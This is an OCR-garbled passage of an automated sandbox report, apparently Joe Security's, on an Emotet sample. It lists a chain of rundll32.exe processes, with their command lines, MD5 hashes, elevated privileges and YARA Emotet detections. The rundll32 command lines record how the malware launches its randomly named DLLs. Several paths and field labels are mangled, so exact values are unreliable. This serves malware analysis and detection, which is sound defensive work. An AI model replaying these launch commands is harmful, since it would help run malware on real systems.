‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Lig8I58\Egok7ei\D640.dIl AnyString

0xffad0000
45568 bytes

DD81D91FF3B0763C392422865C9AC12E

true

true

C, C++ or other language

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Lig8I58\Egok7ei\D640.dll unknown 64 success or wait 1 FFAD27D0 ReadFile
C:\Users\user\Lig8I58\Egok7ei\D640.dll unknown 264 success or wait 1 FFAD281C ReadFile
Analysis Process: rundll32.exe PID: 2360 Parent PID: 2512
General
Start time: 11:20:40
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Liq8I58\Egok7ei\D640.dIl AnyString

0xde0000
44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2097454036.00000000002A0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2098137627.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2097343885.0000000000220000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2708 Parent PID: 2360
General
Start time: 11:20:45
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Lig8I58\Egok7ei\D640.dII' #1
0xde0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2108873547.0000000000220000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2108849548.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2110270893.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2844 Parent PID: 2708
General
Start time: 11:20:50
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sqgnknlpyv\hvpedfkj.tan',xw
mmryHmiBrcQ

0xde0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2118741033.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2118727946.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2121402086.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 2804 Parent PID: 2844

General

Start time: 11:20:55

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sgnknlpyv\hvpedfkj.tan',#1

Imagebase: 0xde0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2129792071.00000000006D0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2129775635.00000000006B0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000A.00000002.2130727723.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2936 Parent PID: 2804

General

Start time: 11:21:00

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW&64\Ceelf\ceht.ynf',LiprinkL

Imagebase: 0xde0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2144677498.0000000000200000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2145636371.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2144648920.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 912 Parent PID: 2936
General
Start time: 11:21:05
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ceelf\ceht.ynf',#1
0xde0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2154976635.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2152593179.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2152580168.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2312 Parent PID: 912
General
Start time: 11:21:11
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gstbghdcbll\xymuoataos.ccr
', ZIOVOPTFkFCSIH

0xde0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2163054350.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2163067625.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2163840941.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 2848 Parent PID: 2312

General
Start time: 11:21:16
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gstbghdcbll\xymuoataos.ccr
H1
Imagebase: 0xde0000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2173526087.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2178762795.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2173536916.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security
Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 3032 Parent PID: 2848

General

Start time: 11:21:21

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW&64\Lzlvyublngyq\ovcucjzboyk.n

wn',dHWvVgE

Imagebase: 0xde0000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2186412601.00000000003B0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2188065984.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2186005336.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 620 Parent PID: 3032

General

Start time: 11:21:26

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW&64\Lzlvyublngyq\ovcucjzboyk.n

wn', #1

Imagebase: 0xde0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2195836054.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2198917557.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000010.00000002.2195824360.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2368 Parent PID: 620

General

Start time: 11:21:31

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Woooizzjxmgfwuw\lldxvtebow

otvy.flt', XiceWXom

Imagebase: 0xde0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2205409223.0000000000130000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2205471749.0000000000260000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2206163057.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 948 Parent PID: 2368

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Disassembly

Code Analysis

Copyright null 2021

11:21:36
25/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Woooizzjxmgfwuw\lldxvtebow

otvy.flt', #1
0xde0000
44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true
true
C, C++ or other language
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000012.00000002.2336521474.0000000000720000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000012.00000002.2338110050.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000012.00000002.2336299339.0000000000100000.00000040.00000001.sdmp,
Author: Joe Security
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